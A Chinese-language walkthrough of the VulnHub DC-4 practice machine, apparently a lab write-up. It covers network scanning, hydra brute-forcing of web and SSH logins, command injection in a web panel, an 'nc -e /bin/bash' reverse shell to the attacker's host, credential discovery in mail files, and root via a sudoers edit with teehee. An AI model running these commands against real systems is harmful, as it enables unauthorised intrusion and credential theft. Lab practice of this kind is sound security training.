一、靶机下载地址
https://www.vulnhub.com/entry/dc-4,313/
二、信息收集
1、主机发现
# 使用命令
nmap 192.168.145.0/24 -sn | grep -B 2 "00:0C:29:43:49:A5"
2、端口扫描
# 使用命令
nmap 192.168.145.217 -p- -sV
3、指纹识别
# 使用命令
whatweb "http://192.168.145.217"
4、目录扫描
# 使用命令
dirsearch -u "http://192.168.145.217"
三、获取shell
1、访问靶机IP地址,发现登录框界面
2、爆破密码,账号和密码为admin:happy
# 使用命令
hydra -l admin -P rockyou.txt 192.168.145.217 http-post-form "/login.php:username=^USER^&password=^PASS^:S=logout" -F
-l admin:指定用户名为 admin。
-P rockyou.txt:指定密码字典为当前目录下的 rockyou.txt。
192.168.1.165:指定要攻击的服务器 IP 地址。
http-post-form:指定使用 HTTP POST 请求方式。
"/login.php:username=^USER^&password=^PASS^:S=logout":指定登录页面地址 /login.php,并使用 username 和 password 作为参数名来传递用户名和密码。其中 ^USER^ 和 ^PASS^ 含义为在暴力破解过程之中将要用到的用户名和密码,而 :S=logout 则是指当程序返回值为 logout 时,认为破解成功并退出程序。
-F:如果成功的话,停止猜测其他密码。
3、尝试使用爆破出来的密码进行登录,登录成功
4、点击页面上的commend--->Run时,点击抓包,发现是命令执行
5、查看/etc/passwd文件,执行成功
6、执行反弹shell的语句并且kali开启监听
# 使用命令
nc+-e/bin/bash+192.168.145.213+1234
# 监听
nc -lvnp 1234
7、成功反弹到sehll
8、输入以下命令获得交互式shell
# 使用命令
python3 -c 'import pty;pty.spawn("/bin/bash")'
四、提权
1、输入sudo -l
命令查看可执行的命令,发现需要密码
2、经过翻找发现jim
目录下有密码字典
3、将字典下载下来,使用hydra
进行破解
# 靶机开启临时服务
python3 -m http.server
# kali下载
wget http://192.168.145.217:8000/old-passwords.bak
# hydra爆破
hydra -l jim -P old-passwords.bak ssh://192.168.145.217
4、使用ssh进行连接
# 使用命令
ssh jim@192.168.145.217
5、说是有一封信,在/var/mail,发现账号和密码charles:^xHhA&hvim0y
# 使用命令
cd /var/mail
cat jim
6、切换到charles用户
# 使用命令
su charles
7、输入sudo -l
查看可执行命令
8、teehee是个小众的linux编辑器。如果有sudo权限。可以利用其来提权,提权成功
# 使用命令
echo 'charles ALL=(ALL:ALL) NOPASSWD:ALL' | sudo teehee -a /etc/sudoers
sudo su